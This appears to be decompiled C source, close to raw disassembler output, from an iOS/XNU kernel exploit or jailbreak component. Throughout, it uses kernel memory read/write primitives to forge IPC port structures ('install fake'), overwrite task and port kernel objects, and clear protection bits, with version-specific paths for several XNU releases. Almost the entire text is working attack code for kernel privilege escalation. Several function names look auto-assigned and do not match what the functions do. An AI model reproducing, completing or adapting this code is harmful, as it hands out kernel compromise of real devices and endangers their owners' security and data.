
//----- (0000000000036248) ----------------------------------------------------
bool __fastcall voucher_create_mach_voucher(__int64 a1, __int64 a2, ipc_voucher_t *voucherOut)
{
  host_t v4; // w0
  struct {
    __int128 recipes; // [xsp+0h] [xbp-30h] BYREF
    __int64 v7; // [xsp+10h] [xbp-20h]
  } recipe;

  recipe.recipes = xmmword_43710;
  recipe.v7 = a2;
  v4 = mach_host_self();
  return host_create_mach_voucher(v4, (mach_voucher_attr_raw_recipe_array_t)&recipe, 0x18u, voucherOut) == 0;
}
// 43710: using guessed type __int128 xmmword_43710;

//----- (000000000003629C) ----------------------------------------------------
__int64 __fastcall create_mach_port_with_a2(__int64 krwCtx, unsigned int a2)
{
  pid_t pid; // w0
  int mach_port; // w0
  int v6; // w19
  int v7; // w8
  __int64 buffer; // [xsp+8h] [xbp-18h] BYREF

  buffer = 0;
  pid = getpid();
  if ( proc_pidinfo(pid, 32, 0, &buffer, 8) == 8 )
  {
    if ( (unsigned int)buffer >= a2 )
    {
      return 0;
    }
    else
    {
      mach_port = create_mach_port(a2);
      if ( mach_port )
        return mach_port | 0x80000000;
      else
        return 0;
    }
  }
  else
  {
    v6 = errno;
    v7 = errno;
    if ( v6 < 0 )
      v7 = -v7;
    return v7 | 0x40000000u;
  }
}

//----- (0000000000036330) ----------------------------------------------------
__int64 __fastcall create_mach_port(int a1)
{
  __int64 v2; // x19
  unsigned int inserted; // w0
  mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF

  name = 0;
  v2 = mach_port_allocate(mach_task_self_, 1u, &name);
  if ( !(uint32_t)v2 )
  {
    inserted = mach_port_insert_right(mach_task_self_, (a1 << 8) | 3, name, 0x15u);
    if ( inserted )
    {
      if ( inserted == 13 )
        v2 = 0;
      else
        v2 = inserted;
    }
    else
    {
      mach_port_deallocate(mach_task_self_, (a1 << 8) | 3);
      v2 = 0;
    }
  }
  if ( name + 1 >= 2 )
    mach_port_mod_refs(mach_task_self_, name, 1u, -1);
  return v2;
}

//----- (00000000000363E4) ----------------------------------------------------
__int64 __fastcall validate_physmap_range_7(__int64 a1, unsigned int a2)
{
  pid_t v3; // w0
  int mach_port; // w0
  int v6; // w19
  int v7; // w8
  __int64 buffer; // [xsp+8h] [xbp-18h] BYREF

  buffer = 0;
  v3 = getpid();
  if ( proc_pidinfo(v3, 32, 0, &buffer, 8) == 8 )
  {
    if ( HIDWORD(buffer) >= a2 )
    {
      return 0;
    }
    else
    {
      mach_port = create_mach_port(a2 - HIDWORD(buffer) + (unsigned int)buffer);
      if ( mach_port )
        return mach_port | 0x80000000;
      else
        return 0;
    }
  }
  else
  {
    v6 = errno;
    v7 = errno;
    if ( v6 < 0 )
      v7 = -v7;
    return v7 | 0x40000000u;
  }
}

//----- (0000000000036480) ----------------------------------------------------
uint32_t __fastcall plist_elem_is_string_6(struct_krwCtx *a1, unsigned __int64 a2, mach_port_name_t *a3)
{
  __int64 v6; // x25
  int v7; // w0
  unsigned int v8; // w9
  __int64 v9; // x22
  unsigned __int64 xnuVersionPacked; // x8
  int v11; // w23
  uint64_t v12; // x0
  __int64 v13; // x0
  __int64 v14; // x22
  vm_size_t v15; // x23
  kern_return_t v16; // w0
  mach_port_name_t v17; // w24
  int xnuMajorVersion; // w8
  __int64 v19; // x23
  __int64 v20; // x0
  unsigned __int64 v21; // x0
  mach_vm_address_t v22; // x22
  __int64 v23; // x0
  int v24; // w8
  __int64 v25; // x23
  int v26; // w20
  unsigned int v27; // w24
  vm_address_t v28; // x22
  unsigned int v29; // w8
  __int64 v30; // x0
  int v31; // w8
  int v33; // w0
  __int64 v34; // x0
  __int64 v35; // x22
  __int64 v36; // x0
  int v37; // w23
  int v38; // w24
  __int64 v39; // x0
  mach_vm_address_t v40; // x22
  unsigned int v41; // w28
  mach_port_t v42; // w22
  mach_port_t v43; // w23
  mach_port_name_t v45; // w23
  __int64 v46; // x0
  mach_vm_address_t v47; // x21
  int v48; // [xsp+4h] [xbp-7Ch] BYREF
  __int64 v49; // [xsp+8h] [xbp-78h] BYREF
  mach_port_t previous[2]; // [xsp+10h] [xbp-70h] BYREF
  unsigned __int64 __buf; // [xsp+18h] [xbp-68h] BYREF
  mach_port_name_t name[2]; // [xsp+20h] [xbp-60h] BYREF
  vm_address_t address; // [xsp+28h] [xbp-58h] BYREF

  v6 = 163856;
  LODWORD(address) = 0;
  v7 = kread_u32((__int64)a1, a2, &address);
  if ( (address & 0x80000000) == 0LL )
    v8 = 163848;
  else
    v8 = 0;
  if ( v7 )
    v9 = v8;
  else
    v9 = 163855;
  if ( !v7 || (address & 0x80000000) == 0 )
    return v9;
  xnuVersionPacked = a1->xnuVersionPacked;
  if ( xnuVersionPacked < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
  {
LABEL_21:
    *(uint64_t *)name = 0;
    xnuMajorVersion = a1->xnuMajorVersion;
    v9 = 163884;
    v19 = 56;
    if ( xnuMajorVersion <= 8018 )
    {
      if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 )
        return v9;
    }
    else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
    {
      if ( xnuMajorVersion != 8792 )
        return v9;
      v19 = 48;
    }
    arc4random_buf(&__buf, 8u);
    v49 = 0;
    *(uint64_t *)previous = 0;
    if ( !voucher_create_mach_voucher(v20, __buf, &name[1]) )
    {
LABEL_71:
      v26 = 0;
      v6 = 4097;
      goto LABEL_72;
    }
    v21 = get_task_kobject_addr(a1, name[1]);
    if ( v21 )
    {
      v22 = v21 + v19;
      if ( !kread_physmap_decorated(a1, v21 + v19, &address) )
        goto LABEL_45;
      if ( validate_kaddr_range((__int64)a1, address) )
      {
        v23 = kwrite64(a1, v22, a2);
        if ( !(uint32_t)v23 )
          goto LABEL_86;
        v24 = a1->xnuMajorVersion;
        if ( v24 >= 8020 )
        {
          v23 = kread_physmap_decorated(a1, a2 + 88, (unsigned __int64 *)&v49);
          if ( (uint32_t)v23 )
          {
            if ( v49 != 1 )
            {
              v23 = kwrite64(a1, a2 + 88, 1);
              if ( !(uint32_t)v23 )
                goto LABEL_86;
            }
            v25 = 88;
LABEL_66:
            if ( voucher_create_mach_voucher(v23, __buf, name) )
            {
              v31 = a1->xnuMajorVersion;
              if ( v31 < 8020 )
              {
                if ( v31 == 8019
                  && previous[1] != previous[0]
                  && !(unsigned int)kwrite_with_retry((__int64)a1, a2 + 8, (__int64)&previous[1], 4) )
                {
                  goto LABEL_86;
                }
              }
              else if ( v49 != 1 && !kwrite64(a1, v25 + a2, v49) )
              {
                goto LABEL_86;
              }
              v33 = kwrite64(a1, v22, address);
              v26 = v33;
              if ( v33 )
                v6 = 0;
              else
                v6 = 163856;
              goto LABEL_72;
            }
            goto LABEL_71;
          }
          goto LABEL_45;
        }
        if ( v24 != 8019 )
        {
LABEL_44:
          v25 = 0;
          goto LABEL_66;
        }
        v23 = krw_read_thunk(a1, a2 + 8, 4, &previous[1]);
        if ( (uint32_t)v23 )
        {
          if ( (previous[1] & 0x1000000) != 0 )
          {
            v25 = 0;
            previous[0] = previous[1];
            goto LABEL_66;
          }
          previous[0] = previous[1] | 0x1000000;
          v23 = kwrite_with_retry((__int64)a1, a2 + 8, (__int64)previous, 4);
          if ( (uint32_t)v23 )
            goto LABEL_44;
LABEL_86:
          v26 = 0;
          goto LABEL_72;
        }
LABEL_45:
        v26 = 0;
        v6 = 163855;
        goto LABEL_72;
      }
      v26 = 0;
      v6 = 163878;
    }
    else
    {
      v26 = 0;
      v6 = 163877;
    }
LABEL_72:
    if ( name[1] + 1 >= 2 )
      mach_port_deallocate(mach_task_self_, name[1]);
    if ( v26 )
    {
      *a3 = name[0];
    }
    else if ( name[0] + 1 >= 2 )
    {
      mach_port_deallocate(mach_task_self_, name[0]);
    }
    return v6;
  }
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(8020, 99, 1023, 1023, 1023) )
    v11 = 0x400000;
  else
    v11 = 0x200000;
  v12 = kread_u32((__int64)a1, a2 + 8, &address);
  if ( !v12 )
    return 163855;
  if ( ((unsigned int)address & v11) != 0 )
  {
    v12 = noppl_kwrite32((__int64)a1, a2 + 8, address & ~v11);
    if ( !v12 )
      return v6;
  }
  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
    goto LABEL_21;
  name[0] = 0;
  *(uint64_t *)previous = 0;
  v48 = 0;
  address = 0;
  v9 = validate_physmap_range_7(v12, 8u);
  if ( !(uint32_t)v9 )
  {
    v13 = setup_task_port_chain((__int64)a1, mach_task_self_, &v49, &name[1]);
    if ( v13 )
    {
      v14 = v13;
      v15 = name[1] * (unsigned int)v49;
      v16 = vm_allocate(mach_task_self_, &address, v15, 1);
      if ( v16 )
      {
        v17 = 0;
        v9 = v16 | 0x80000000;
      }
      else if ( (unsigned int)krw_read_thunk(a1, v14, name[1] * (unsigned int)v49, (void *)address) )
      {
        if ( (uint32_t)v49 )
        {
          v27 = 0;
          while ( 1 )
          {
            __buf = 0;
            v28 = address + name[1] * v27;
            __memcpy_chk(&__buf, (const void *)v28, a1->stride168, 8u);
            if ( __buf )
            {
              __buf = krw_xpac_vaddr_2(a1, __buf);
              if ( __buf == a2 )
              {
                v29 = *(uint32_t *)(v28 + a1->stride168);
                if ( (v29 & 0x10000) != 0 )
                  break;
              }
            }
            if ( ++v27 >= (unsigned int)v49 )
              goto LABEL_54;
          }
          v9 = 0;
          v17 = __PAIR64__(v27, v29) >> 24;
        }
        else
        {
LABEL_54:
          v17 = 0;
          v9 = 0;
        }
      }
      else
      {
        v17 = 0;
        v9 = 163855;
      }
      if ( address && (uint32_t)v15 )
        vm_deallocate(mach_task_self_, address, v15);
      if ( !(uint32_t)v9 )
      {
        if ( v17 + 1 >= 2 )
        {
          LODWORD(v30) = mach_port_mod_refs(mach_task_self_, v17, 0, 1);
          if ( !(uint32_t)v30 )
          {
            v9 = 0;
            *a3 = v17;
            return v9;
          }
          return (unsigned int)v30 | 0x80000000;
        }
        LODWORD(v30) = mach_port_allocate(mach_task_self_, 1u, name);
        if ( (uint32_t)v30 )
          return (unsigned int)v30 | 0x80000000;
        v34 = task_self_get_ipc_port(a1, name[0]);
        if ( !v34 )
          return 163854;
        v35 = v34;
        v36 = ipc_port_kobject_field_offset(a1, v34);
        if ( !v36 )
          return 163884;
        v37 = v36;
        v38 = a1->stride168;
        if ( !kread_u32((__int64)a1, a2, &v48) )
          return 163855;
        TRACE_PORTS("plist_elem_is_string_6 notif prep ctx=%llx target=%llx name=%x self_port=%llx off=%x ptr=%llx bits=%x stride168=%d\n",
                    (unsigned long long)a1,
                    (unsigned long long)a2,
                    name[0],
                    (unsigned long long)v35,
                    v37,
                    (unsigned long long)(v35 + (unsigned int)(v37 - v35 + 2 * v38)),
                    v48,
                    v38);
        if ( (v48 & 0x400) != 0 )
        {
          v12 = noppl_kwrite32((__int64)a1, a2, v48 & 0xFFFFFBFF);
          TRACE_PORTS("plist_elem_is_string_6 clear bits ok=%d addr=%llx old=%x new=%x\n",
                      (int)v12,
                      (unsigned long long)a2,
                      v48,
                      v48 & 0xFFFFFBFF);
          if ( !v12 )
            return 163856;
        }
        v12 = kwrite_physmap_with_a3_ptr((__int64)a1, v35 + (unsigned int)(v37 - v35 + 2 * v38), a2);
        TRACE_PORTS("plist_elem_is_string_6 install fake ok=%d slot=%llx value=%llx\n",
                    (int)v12,
                    (unsigned long long)(v35 + (unsigned int)(v37 - v35 + 2 * v38)),
                    (unsigned long long)a2);
        if ( !v12 )
        {
          return 163856;
        }
        v30 = mach_port_request_notification(mach_task_self_, name[0], 70, 1u, 0, 0x15u, &previous[1]);
        TRACE_PORTS("plist_elem_is_string_6 request_notification ret=%x name=%x previous=%x\n",
                    (unsigned int)v30,
                    name[0],
                    previous[1]);
        if ( (uint32_t)v30 )
          return (unsigned int)v30 | 0x80000000;
        v9 = 163848;
        if ( previous[1] + 1 >= 2 )
        {
          v9 = validate_physmap_range_7(v30, 8u);
          if ( !(uint32_t)v9 )
          {
            v39 = task_self_get_ipc_port_ptr(a1, previous[1]);
            if ( !v39 )
              return 163854;
            v40 = v39 + 8;
            if ( kread_u32((__int64)a1, v39 + 8, previous) )
            {
              if ( (previous[0] & 0x1F0000) != 0x40000 )
                return 163857;
              previous[0] = previous[0] & 0xFFE0FFFF | 0x10000;
              if ( noppl_kwrite32((__int64)a1, v40, previous[0]) )
              {
                LODWORD(v30) = mach_port_mod_refs(mach_task_self_, name[0], 1u, -1);
                if ( !(uint32_t)v30 )
                {
                  v41 = 0;
                  v42 = mach_task_self_;
                  v43 = previous[1];
                  while ( 1 )
                  {
                    LODWORD(address) = 0;
                    LODWORD(v30) = mach_port_allocate(v42, 1u, (mach_port_name_t *)&address);
                    if ( (uint32_t)v30 )
                      break;
                    LODWORD(v30) = mach_port_mod_refs(v42, address, 1u, -1);
                    if ( (uint32_t)v30 )
                      break;
                    LODWORD(v30) = mach_port_insert_right(v42, address, v43, 0x13u);
                    if ( !(uint32_t)v30 )
                    {
                      v45 = address;
                      if ( (v48 & 0x400) != 0 )
                        noppl_kwrite32((__int64)a1, a2, v48);
                      v46 = task_self_get_ipc_port_ptr(a1, previous[1]);
                      if ( !v46 )
                        return 163854;
                      v47 = v46 + 8;
                      if ( !kread_u32((__int64)a1, v46 + 8, previous) )
                        return 163855;
                      if ( (previous[0] & 0x1F0000) == 0x10000 )
                      {
                        previous[0] = previous[0] & 0xFFE0FFFF | 0x100000;
                        v9 = 163856;
                        if ( !noppl_kwrite32((__int64)a1, v47, previous[0]) )
                          return v9;
                        LODWORD(v30) = mach_port_mod_refs(mach_task_self_, previous[1], 4u, -1);
                        if ( !(uint32_t)v30 )
                        {
                          v9 = 0;
                          *a3 = v45;
                          return v9;
                        }
                        return (unsigned int)v30 | 0x80000000;
                      }
                      return 163857;
                    }
                    if ( (v30 & 0xFFFFFFF7) != 5 || v41++ >= 8 )
                      return (unsigned int)v30 | 0x80000000;
                  }
                }
                return (unsigned int)v30 | 0x80000000;
              }
              return 163856;
            }
            return 163855;
          }
        }
      }
    }
    else
    {
      return 163878;
    }
  }
  return v9;
}
// 36648: variable 'v20' is possibly undefined

//----- (0000000000036C10) ----------------------------------------------------
uint64_t *__fastcall build_csblob_buf_from_load_cmds(struct_krwCtx *a1, unsigned int a2)
{
  int xnuMajorVersion; // w8
  unsigned int v5; // w8
  size_t v6; // x21
  uint64_t *result; // x0
  uint64_t *v8; // x20
  int v9; // w22
  unsigned int v10; // w20
  unsigned __int64 v11; // x0
  __int64 v12; // [xsp+8h] [xbp-48h] BYREF
  unsigned __int64 v13; // [xsp+10h] [xbp-40h] BYREF
  mach_port_name_t name[2]; // [xsp+18h] [xbp-38h] BYREF
  void *v15; // [xsp+20h] [xbp-30h] BYREF
  void *v16; // [xsp+28h] [xbp-28h] BYREF

  *(uint64_t *)name = 0;
  v15 = 0;
  v12 = 0;
  v13 = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
    return 0;
  v5 = a1->pageSizeOrSomething;
  if ( v5 <= a2 )
    v6 = a2;
  else
    v6 = v5;
  v16 = 0;
  result = calloc(v6, 1u);
  if ( result )
  {
    v8 = result;
    v9 = alloc_buf_with_magic(2 * (int)v6, &v16);
    if ( !v9 )
    {
      v9 = parse_load_command_entry((__int64 *)v16, 0x1000000, 4u, 0);
      if ( !v9 )
      {
        v9 = parse_load_command_entry((__int64 *)v16, 0x8000000, 4u, "key");
        if ( !v9 )
        {
          v9 = parse_load_command_entry((__int64 *)v16, -1979711488, v6, v8);
          if ( !v9 )
            v9 = copy_buf_struct_to_heap((__int64)v16, &v15, &name[1]);
        }
      }
    }
    if ( v16 )
      free_and_null_ptr((void **)v16);
    free(v8);
    if ( v9 )
      return 0;
    v10 = register_ioservice_publish_notify((__int64)v15, name[1], name);
    if ( v10 + 1 >= 2 )
    {
      v11 = get_task_kobject_addr(a1, v10);
      v13 = v11;
      if ( v11 )
      {
        if ( kread_physmap_decorated(a1, v11 + 16, &v13)
          && kread_physmap_decorated(a1, v13 + 24, &v13)
          && kread_physmap_decorated(a1, v13 + 32, &v13)
          && kread_physmap_decorated(a1, v13 + a1->stride168, &v13)
          && kread_physmap_decorated(a1, v13 + 24, (unsigned __int64 *)&v12) )
        {
          v12 = validate_kaddr_range((__int64)a1, v12);
          if ( v12 )
          {
            if ( !kwrite64((__int64)a1, v13 + 24, 0) )
              v12 = 0;
          }
        }
      }
    }
    if ( v15 )
      free(v15);
    if ( v10 + 1 >= 2 )
      mach_port_destroy(mach_task_self_, v10);
    if ( name[0] + 1 >= 2 )
      mach_port_destroy(mach_task_self_, name[0]);
    return (uint64_t *)v12;
  }
  return result;
}

//----- (0000000000036E4C) ----------------------------------------------------
__int64 __fastcall map_shared_mem_and_transfer_data(__int64 a1, __int64 a2, __int64 size)
{
  __int64 v6; // x19
  kern_return_t v7; // w0
  unsigned int v8; // w24
  kern_return_t v9; // w0
  mach_port_name_t v10; // w22
  __int64 v11; // x0
  int v12; // w0
  uint64_t *v13; // x10
  uint64_t *v14; // x9
  uint64_t *v15; // x8
  void *v16; // x27
  __int64 v17; // x0
  mach_port_t v18; // w0
  mach_port_name_t v19; // w1
  int v20; // w8
  __int64 v22; // x0
  __int64 v23; // x19
  void *v24; // x0
  void *v25; // x22
  int v26; // w24
  __int64 v27; // x26
  __int64 v28; // x25
  __int64 v29; // x0
  __int64 v30; // x0
  mach_vm_address_t v31; // x27
  unsigned __int64 v32; // x8
  __int64 v33; // x8
  kern_return_t v34; // w0
  mach_port_name_t name; // [xsp+4h] [xbp-6Ch] BYREF
  vm_address_t address[3]; // [xsp+8h] [xbp-68h] BYREF

  if ( *(uint64_t *)(a1 + 344) >= XNU_VERSION_PACKED(8020, 120, 0, 0, 0) )
  {
    v6 = 708609;
    address[0] = 0;
    if ( (size & 0xF) != 0 )
      return v6;
    v7 = vm_allocate(mach_task_self_, address, (unsigned int)size, 1);
    if ( v7 )
    {
      v8 = 0;
      v6 = v7 | 0x80000000;
      goto LABEL_30;
    }
    v12 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 816));
    if ( !v12 )
    {
      v13 = *(uint64_t **)(a1 + 880);
      if ( v13 )
      {
        v14 = 0;
        v15 = (uint64_t *)(a1 + 880);
        while ( 1 )
        {
          v16 = v13;
          if ( v13[1] == a2 && *((uint32_t *)v13 + 6) == (uint32_t)size )
            break;
          v13 = (uint64_t *)*v13;
          v14 = v16;
          if ( !*(uint64_t *)v16 )
            goto LABEL_15;
        }
        if ( v14 )
          v15 = v14;
        *v15 = *v13;
        v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816));
        if ( v12 )
          goto LABEL_26;
        v6 = 163856;
        v27 = *((uint64_t *)v16 + 4);
        v28 = *((uint64_t *)v16 + 2);
        v8 = *((uint32_t *)v16 + 7);
        free(v16);
        v29 = task_self_get_ipc_port((struct_krwCtx *)a1, v8);
        if ( v29 )
        {
          v30 = ipc_port_kobject_field_offset((struct_krwCtx *)a1, v29);
          if ( v30 && (v31 = v30 + 3LL * *(int *)(a1 + 360)) != 0 )
          {
            if ( (unsigned int)kwrite_with_retry(a1, a2, address[0], size) )
            {
              v32 = *(uint64_t *)(a1 + 344);
              if ( v32 > XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023)
                || (v32 < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) || *(int *)(a1 + 320) >= 8792
                  ? (v33 = *(unsigned int *)(a1 + 360))
                  : (v33 = 0),
                    kwrite64(a1, v33 + a2, v27)) )
              {
                if ( kwrite64(a1, v31, v28) )
                {
                  v34 = mach_port_mod_refs(mach_task_self_, v8, 1u, -1);
                  if ( v34 )
                  {
                    v6 = v34 | 0x80000000;
                  }
                  else
                  {
                    v8 = 0;
                    v6 = 0;
                  }
                }
              }
            }
          }
          else
          {
            v6 = 163878;
          }
        }
        else
        {
          v6 = 163854;
        }
LABEL_30:
        if ( address[0] )
          vm_deallocate(mach_task_self_, address[0], (unsigned int)size);
        if ( v8 + 1 >= 2 )
        {
          v18 = mach_task_self_;
          v19 = v8;
LABEL_34:
          mach_port_mod_refs(v18, v19, 1u, -1);
          return v6;
        }
        return v6;
      }
LABEL_15:
      v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816));
      if ( !v12 )
      {
        v8 = 0;
        v6 = 708625;
        goto LABEL_30;
      }
    }
LABEL_26:
    v8 = 0;
    if ( v12 >= 0 )
      v20 = v12;
    else
      v20 = -v12;
    v6 = v20 | 0x40000000u;
    goto LABEL_30;
  }
  name = 0;
  v9 = mach_port_allocate(mach_task_self_, 1u, &name);
  if ( !v9 )
  {
    v10 = name;
    v11 = init_krw_ctx_fields((__int64)address);
    if ( (uint32_t)v11 )
    {
      v6 = v11;
    }
    else
    {
      krw_ctx_buf_append_typed_val((__int64)address, -1);
      if ( (uint32_t)v17 )
      {
        v6 = v17;
        free_krw_ctx_flags((__int64)address);
      }
      else
      {
        v6 = send_mach_msg_from_ctx((__int64)address, 0, v10, 0);
        free_krw_ctx_flags((__int64)address);
        if ( !(uint32_t)v6 )
        {
          LOBYTE(address[0]) = 2;
          if ( !((unsigned int)size % *(uint32_t *)(a1 + 360))
            && (v22 = kread_mach_task_port_slot_plus80((struct_krwCtx *)a1, name)) != 0
            && (v23 = v22, (v24 = calloc((unsigned int)size, 1u)) != 0)
            && (v25 = v24, v26 = kwrite_with_retry(a1, a2, (__int64)v24, size), free(v25), v26)
            && kwrite_physmap_with_a3_ptr(a1, v23 + 36, a2)
            && noppl_kwrite32(a1, v23 + 48, (unsigned int)size / *(uint32_t *)(a1 + 360)) )
          {
            if ( (unsigned int)kwrite_with_retry(a1, v23 + 47, (__int64)address, 1) )
              v6 = 0;
            else
              v6 = 4097;
          }
          else
          {
            v6 = 4097;
          }
        }
      }
    }
    v18 = mach_task_self_;
    v19 = name;
    goto LABEL_34;
  }
  return v9 | 0x80000000;
}
// 36F80: variable 'v17' is possibly undefined

static __int64 cleanup_restore_record_metadata_only(__int64 a1, __int64 a2, __int64 size)
{
  int lock_result;
  uint64_t *node;
  uint64_t *prev;
  uint64_t *link;
  __int64 saved_a2uint64_t;
  __int64 saved_taskuint64_t;
  __int64 task_port;
  __int64 task_port_object;
  __int64 task_port_restore_addr;
  unsigned __int64 version;
  __int64 a2_restore_offset;
  mach_port_name_t receive_right;
  __int64 result;

  lock_result = pthread_mutex_lock((pthread_mutex_t *)(a1 + 816));
  if ( lock_result )
    return (lock_result < 0 ? -lock_result : lock_result) | 0x40000000u;

  node = *(uint64_t **)(a1 + 880);
  prev = 0;
  link = (uint64_t *)(a1 + 880);
  while ( node )
  {
    if ( node[1] == a2 && *((uint32_t *)node + 6) == (uint32_t)size )
      break;
    prev = node;
    node = (uint64_t *)*node;
  }

  if ( node )
  {
    if ( prev )
      link = prev;
    *link = *node;
  }

  lock_result = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816));
  if ( lock_result )
    return (lock_result < 0 ? -lock_result : lock_result) | 0x40000000u;

  if ( !node )
    return 0;

  saved_a2uint64_t = node[4];
  saved_taskuint64_t = node[2];
  receive_right = *((uint32_t *)node + 7);
  free(node);

  result = 163856;
  task_port = task_self_get_ipc_port((struct_krwCtx *)a1, receive_right);
  if ( !task_port )
  {
    result = 163854;
    goto out_release_right;
  }

  task_port_object = ipc_port_kobject_field_offset((struct_krwCtx *)a1, task_port);
  if ( !task_port_object )
  {
    result = 163878;
    goto out_release_right;
  }

  task_port_restore_addr = task_port_object + 3LL * *(int *)(a1 + 360);
  if ( !task_port_restore_addr )
  {
    result = 163878;
    goto out_release_right;
  }

  version = *(uint64_t *)(a1 + 344);
  if ( version <= XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023) )
  {
    if ( version < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) || *(int *)(a1 + 320) >= 8792 )
      a2_restore_offset = *(unsigned int *)(a1 + 360);
    else
      a2_restore_offset = 0;
    if ( !kwrite64(a1, a2 + a2_restore_offset, saved_a2uint64_t) )
      goto out_release_right;
  }

  if ( kwrite64(a1, task_port_restore_addr, saved_taskuint64_t) )
    result = 0;

out_release_right:
  if ( receive_right + 1 >= 2 )
    mach_port_mod_refs(mach_task_self_, receive_right, MACH_PORT_RIGHT_RECEIVE, -1);
  return result;
}

//----- (0000000000037210) ----------------------------------------------------
unsigned __int64 __fastcall alloc_physmap_page(__int64 a1, unsigned int *a2)
{
  unsigned int v4; // w24
  unsigned __int64 v5; // x8
  __int64 v6; // x28
  __int64 v7; // x27
  unsigned int v8; // w0
  unsigned int v9; // w8
  int v10; // w9
  int v11; // w8
  unsigned int v12; // w8
  int v13; // w9
  int v14; // w8
  int v15; // w21
  unsigned int v16; // w22
  void *v17; // x0
  void *v18; // x21
  mach_port_t v19; // w23
  int v20; // w22
  __int64 v21; // x0
  unsigned __int64 v22; // x22
  mach_port_name_t v23; // w1
  mach_port_t v24; // w0
  __int64 v25; // x0
  __int64 v26; // x0
  unsigned __int64 v27; // x21
  unsigned int v28; // w23
  unsigned __int64 v29; // x23
  int v30; // w0
  unsigned int v31; // w22
  int v32; // w8
  int v33; // w10
  unsigned int v34; // w8
  int v35; // w11
  void *v36; // x0
  mach_port_t v37; // w23
  uint64_t *v39; // x0
  void *v40; // x21
  mach_port_name_t v41; // w8
  int v42; // w22
  mach_port_name_t v43; // w23
  unsigned __int64 v44; // x8
  bool v45; // cc
  __int64 v46; // x8
  unsigned __int64 v47; // x23
  unsigned __int64 v48; // x26
  int v49; // w0
  __int64 v50; // x0
  __int64 *v51; // x9
  uint64_t *v52; // x8
  unsigned int v53; // [xsp+4h] [xbp-8Ch]
  int v54; // [xsp+8h] [xbp-88h] BYREF
  unsigned int v55; // [xsp+Ch] [xbp-84h] BYREF
  mach_port_name_t name[2]; // [xsp+10h] [xbp-80h] BYREF
  mach_port_t previous; // [xsp+1Ch] [xbp-74h] BYREF
  mach_port_name_t v58[2]; // [xsp+20h] [xbp-70h] BYREF
  unsigned __int64 v59[3]; // [xsp+28h] [xbp-68h] BYREF

  v4 = *a2;
  v5 = *(uint64_t *)(a1 + 344);
  if ( v5 >= XNU_VERSION_PACKED(8020, 120, 0, 0, 0) )
  {
    *(uint64_t *)v58 = 0;
    previous = 0;
    *(uint64_t *)name = 0;
    if ( v5 > XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023) || v5 >= XNU_VERSION_PACKED(8020, 241, 8, 0, 0) && *(int *)(a1 + 320) <= 8791 )
    {
      v6 = 0;
      v7 = *(unsigned int *)(a1 + 360);
    }
    else
    {
      v7 = 0;
      v6 = *(unsigned int *)(a1 + 360);
    }
    if ( mach_port_allocate(mach_task_self_, 1u, &v58[1]) )
      goto LABEL_29;
    v25 = task_self_get_ipc_port((struct_krwCtx *)a1, v58[1]);
    if ( !v25 )
      goto LABEL_29;
    v26 = ipc_port_kobject_field_offset((struct_krwCtx *)a1, v25);
    if ( !v26 )
      goto LABEL_29;
    v27 = v26 + 3LL * *(int *)(a1 + 360);
    if ( !v27 || mach_port_allocate(mach_task_self_, 1u, v58) )
      goto LABEL_29;
    while ( 1 )
    {
      if ( mach_port_request_notification(mach_task_self_, v58[1], 72, 0, v58[0], 0x15u, &previous)
        || mach_port_request_notification(mach_task_self_, v58[1], 72, 0, 0, 0x15u, &previous) )
      {
        goto LABEL_29;
      }
      if ( previous + 1 >= 2 )
      {
        if ( mach_port_deallocate(mach_task_self_, previous) )
          goto LABEL_29;
        previous = 0;
      }
      if ( !kread64_internal((struct_krwCtx *)a1, v27, v59) )
        goto LABEL_29;
      v22 = maybe_sptm_translate_kaddr((struct_krwCtx *)a1, v59[0]);
      if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023) )
        v22 = decode_pte_to_physmap_addr((struct_krwCtx *)a1, v22, &v55);
      if ( !validate_kaddr_range(a1, v22) )
        goto LABEL_29;
      if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023) )
      {
        if ( !kread64_internal((struct_krwCtx *)a1, v22 + v6, name) )
          goto LABEL_29;
        v29 = maybe_sptm_translate_kaddr((struct_krwCtx *)a1, *(__int64 *)name);
        if ( !check_kaddr_in_physmap((struct_krwCtx *)a1, v29)
          || !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v29, 4, &v55) )
        {
          goto LABEL_29;
        }
        v28 = 16 * v55;
      }
      else
      {
        v28 = v55;
      }
      if ( v28 >= v4 )
        break;
      v54 = 0;
      if ( !(unsigned int)kwrite_with_retry(a1, v22 + v7, (__int64)&v54, 4) )
        goto LABEL_29;
    }
    if ( kwrite_physmap_with_a3_ptr(a1, v27, 0) && (v39 = malloc(0x28u)) != 0 )
    {
      v40 = v39;
      *v39 = 0;
      v39[1] = v22;
      v39[2] = v59[0];
      v41 = v58[1];
      *((uint32_t *)v39 + 6) = v28;
      *((uint32_t *)v39 + 7) = v41;
      v39[4] = *(uint64_t *)name;
      v58[1] = 0;
      if ( pthread_mutex_lock((pthread_mutex_t *)(a1 + 816)) )
      {
LABEL_90:
        free(v40);
        goto LABEL_29;
      }
      v51 = *(__int64 **)(a1 + 880);
      if ( v51 )
      {
        while ( 1 )
        {
          v52 = v51;
          if ( v51[1] == v22 && *((uint32_t *)v51 + 6) == v28 )
            break;
          v51 = (__int64 *)*v51;
          if ( !*v52 )
            goto LABEL_112;
        }
        pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816));
        goto LABEL_90;
      }
      v52 = (uint64_t *)(a1 + 880);
LABEL_112:
      *v52 = v40;
      if ( pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816)) )
        v22 = 0;
      else
